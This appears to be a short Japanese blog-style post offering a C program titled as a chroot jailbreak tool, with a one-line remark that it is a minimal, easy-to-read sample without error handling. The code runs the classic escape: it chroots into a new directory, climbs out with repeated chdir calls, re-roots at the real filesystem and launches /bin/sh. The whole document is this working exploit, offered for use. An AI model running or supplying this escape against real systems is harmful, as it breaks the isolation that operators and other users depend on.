chroot脱獄ツール

escape_chroot

escape_chroot.c

#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>

int main(void) {
    mkdir("escape", 0777);
    chroot("escape");
    rmdir("escape");

    printf("Escaping...\n");
    for(int i = 0; i < 65536; i++) {
        chdir("..");
    }
    chroot(".");
    printf("You have been escaped!\n");

    char* args[] = {"/bin/sh", NULL};
    execv(args[0], args);
}

とりあえず動作し､かつロジックがわかりやすいサンプルが欲しいと思って書いたので､エラー処理はありません